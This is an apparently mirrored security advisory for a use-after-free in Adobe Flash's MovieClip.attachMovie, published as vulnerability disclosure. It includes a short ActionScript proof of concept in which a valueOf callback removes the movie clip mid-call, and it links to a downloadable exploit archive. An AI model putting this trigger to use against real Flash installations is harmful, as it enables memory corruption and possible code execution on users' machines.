Adobe Flash MovieClip.attachMovie - Use-After-Free

2015-12-18 23:05:42

Source: https://code.google.com/p/google-security-research/issues/detail?id=571

There is a use-after-free in MovieClip.attachMovie. If a string parameter has toString defined, a number parameter has valueOf defined or an object parameter has its constructor redefined, it can execute code and free the this object of the method, leading to a use-after-free.

A minimal PoC is as follows:

n ={valueOf : func};

function func(){

_global.mc.removeMovieClip();
// fix heap here;

}
this.createEmptyMovieClip("mc", 1);
_global.mc = mc;
mc.attachMovie("myResetButton","newResetButton", n);

A sample swf and fla are attached.


Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39055.zip

Fixes

No fixes

In order to submit a new fix you need to be registered.